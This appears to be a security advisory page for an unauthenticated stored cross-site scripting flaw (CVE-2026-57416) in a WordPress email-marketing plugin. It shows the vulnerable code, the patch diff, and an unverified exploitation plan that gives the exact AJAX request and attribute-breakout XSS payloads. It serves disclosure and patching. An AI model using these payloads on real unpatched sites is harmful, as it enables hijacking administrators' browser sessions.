CVE-2026-57416

SiteGround Email Marketing <= 1.7.5 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.7.6
Patched in
7d
Time to patch

Description

The SiteGround Email Marketing plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.5
PublishedJuly 8, 2026
Last updatedJuly 14, 2026

What Changed in the Fix

Changes introduced in v1.7.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-57416**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **SiteGround Email Marketing** plugin for WordPress. ### 1. Vulnerability Summary The vulnerability exists in the plugin's integration with **WPForms**. Specifically…

Show full research plan

This exploitation research plan targets CVE-2026-57416, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the SiteGround Email Marketing plugin for WordPress.

1. Vulnerability Summary

The vulnerability exists in the plugin's integration with WPForms. Specifically, the AJAX handler sg_email_marketing_wpforms_save_post lacks any authentication or authorization checks (no current_user_can) and does not verify a WordPress nonce. Furthermore, the stored data is rendered in the WPForms editor without proper escaping, allowing for attribute breakout and script injection.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: sg_email_marketing_wpforms_save_post
  • Vulnerable Parameter: sg_email_marketing_groups (Must be a JSON-encoded array)
  • Target Parameter: form_id (The ID of an existing WPForm post)
  • Authentication: None (Unauthenticated).
  • Preconditions:
    • The "WPForms" plugin must be installed and active.
    • At least one form must exist (to target its form_id).

3. Code Flow

  1. Entry Point (Storage): The WPForms::save_form() method in core/Integrations/ThirdParty/WPForms/WPForms.php is triggered by the AJAX action.
  2. Lack of Security: The code explicitly ignores nonce verification (per the // phpcs:ignore comment) and fails to check user capabilities.
  3. Storage: The sg_email_marketing_groups parameter is json_decode'd and saved as post meta for the specified form_id:
    update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) );
    
  4. Retrieval: When an administrator opens the WPForms builder, WPForms::update_groups() (in WPForms.php) retrieves this meta and adds it to the form's field data.
  5. Sink (Output): The data is passed to SGWPMAIL_WPForms_Field::field_element_select2() in core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php.
  6. Vulnerable Rendering: The value is wp_json_encode'd and placed directly into an attribute using single quotes without escaping:
    $attrs .= $arg_key . '=\'' . $val . '\''; // $val is the JSON-encoded array
    // ...
    $output = sprintf( '<select ... %s>', ..., $attrs );
    
    Because the attribute value is wrapped in single quotes ('), any single quote within the JSON-encoded sg_email_marketing_groups will break out of the attribute.

4. Nonce Acquisition Strategy

  • Requirement: None.
  • Analysis: Reviewing core/Integrations/ThirdParty/WPForms/WPForms.php, the save_form function contains a deliberate bypass for PHPCS nonce warnings: // phpcs:ignore WordPress.Security.NonceVerification.Missing. The AJAX action is accessible to any user without a nonce.

5. Exploitation Strategy

The goal is to inject a payload that executes when an admin views the settings of an "SG Email Marketing" field within the WPForms builder.

Step 1: Identify a valid Form ID
The agent should list existing forms to find a target form_id.

wp post list --post_type=wpforms --format=ids

Step 2: Inject the Stored XSS Payload
We send an unauthenticated POST request. The payload uses a single quote to break out of the data-selected attribute used in the plugin's Select2 implementation.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    • action: sg_email_marketing_wpforms_save_post
    • form_id: <TARGET_FORM_ID>
    • sg_email_marketing_groups: ["x' onfocus='alert(document.domain)' autofocus='x"]

Step 3: Trigger the XSS
An administrator must navigate to:
http://<target>/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=<TARGET_FORM_ID>
And click on the "SG Email Marketing" field (if it exists) or simply load the builder if the field is present.

6. Test Data Setup

  1. Install Plugins:
    wp plugin install wpforms-lite --activate
    wp plugin install siteground-email-marketing --version=1.7.5 --activate
    
  2. Create a Form:
    Create a simple form via WP-CLI or browser.
  3. Add the Vulnerable Field:
    The form must contain the "SG Email Marketing" field. If not present, the update_groups logic might not trigger the render path, although the meta will still be stored.
    # Note: Adding a specific field type to WPForms via CLI is complex; 
    # if necessary, use browser_navigate to manually add the 'sg_email_marketing' field.
    

7. Expected Results

  • The admin-ajax.php request should return a 200 OK (often with a 0 or empty response, as save_form does not call wp_die() or return data).
  • The database will now contain the malicious payload in the wp_postmeta table for the target form.
  • Upon an administrator loading the WPForms builder for that form, the browser will execute alert(document.domain).

8. Verification Steps

After sending the HTTP request, verify the storage via WP-CLI:

wp post meta get <TARGET_FORM_ID> sg_email_marketing_groups

Expected Output:
["x' onfocus='alert(document.domain)' autofocus='x"]

9. Alternative Approaches

If the onfocus payload is filtered by browser protections (unlikely for stored XSS in attributes), use a standard breakout:

  • Payload: ["'><script>alert(1)</script>"]
  • Resulting HTML: <select ... data-selected='["'><script>alert(1)</script>"]' ...>
  • Logic: The '> sequence closes the data-selected attribute AND the <select> tag, allowing the <script> tag to render in the DOM.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SiteGround Email Marketing plugin (<= 1.7.5) is vulnerable to unauthenticated stored Cross-Site Scripting due to a lack of authorization and nonce verification in its AJAX handler for WPForms integration. Attackers can inject malicious scripts into form metadata that are subsequently executed in an administrator's browser session when they visit the WPForms editor.

Vulnerable Code

// core/Integrations/ThirdParty/WPForms/WPForms.php line 106
	public function save_form() {
		if ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
			update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); // phpcs:ignore
		}
	}

---

// core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php line 171
		if ( ! empty( $args['attrs'] ) ) {
			foreach ( $args['attrs'] as $arg_key => $val ) {
				if ( is_array( $val ) ) {
					$val = wp_json_encode( $val );
				}
				$attrs .= $arg_key . '=\'' . $val . '\'';
			}
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/assets/js/integrations/wpforms/wpforms-editor.js /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/assets/js/integrations/wpforms/wpforms-editor.js
--- /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/assets/js/integrations/wpforms/wpforms-editor.js	2026-05-07 12:25:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/assets/js/integrations/wpforms/wpforms-editor.js	2026-06-22 09:29:04.000000000 +0000
@@ -9,7 +9,8 @@
     method: 'POST',
     data: {
       'sg_email_marketing_groups' : JSON.stringify( groups_data ),
-      'form_id' : form_id
+      'form_id' : form_id,
+      'nonce' : sgEmailMarketingWPForms.nonce
     }
   });
 });
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php
--- /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php	2026-05-07 12:25:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php	2026-06-22 09:29:04.000000000 +0000
@@ -175,7 +175,7 @@
 				if ( is_array( $val ) ) {
 					$val = wp_json_encode( $val );
 				}
-				$attrs .= $arg_key . '=\'' . $val . '\'';
+				$attrs .= $arg_key . '=\'' . esc_attr( $val ) . '\'';
 			}
 		}
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/core/Integrations/ThirdParty/WPForms/WPForms.php /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/core/Integrations/ThirdParty/WPForms/WPForms.php
--- /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.5/core/Integrations/ThirdParty/WPForms/WPForms.php	2026-05-07 12:25:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/siteground-email-marketing/1.7.6/core/Integrations/ThirdParty/WPForms/WPForms.php	2026-06-22 09:29:04.000000000 +0000
@@ -88,6 +88,14 @@
 			\SG_Email_Marketing\VERSION,
 			true
 		);
+
+		wp_localize_script(
+			'sg-email-marketing-wp-forms-integration',
+			'sgEmailMarketingWPForms',
+			array(
+				'nonce' => wp_create_nonce( 'sg_email_marketing_wpforms' ),
+			)
+		);
 		wp_enqueue_style(
 			'sg-email-marketing-wpforms-integration',
 			\SG_Email_Marketing\URL . '/assets/css/integrations/wpforms/wpforms-editor.css',
@@ -104,6 +112,8 @@
 	 * @return void
 	 */
 	public function save_form() {
+		check_ajax_referer( 'sg_email_marketing_wpforms', 'nonce' );
+
 		if ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 			update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); // phpcs:ignore
 		}

Exploit Outline

The exploit targets the `sg_email_marketing_wpforms_save_post` AJAX endpoint, which is accessible to unauthenticated users. An attacker sends a POST request to `wp-admin/admin-ajax.php` with the following parameters: `action` set to the vulnerable handler, `form_id` targeting an existing WPForm, and `sg_email_marketing_groups` containing a JSON-encoded array. The payload string inside this array uses a single quote to break out of the single-quoted `data-selected` attribute in the generated HTML (e.g., `["x' onfocus='alert(1)' autofocus='x"]`). When an administrator views the WPForms builder for that specific form, the injected attribute triggers script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.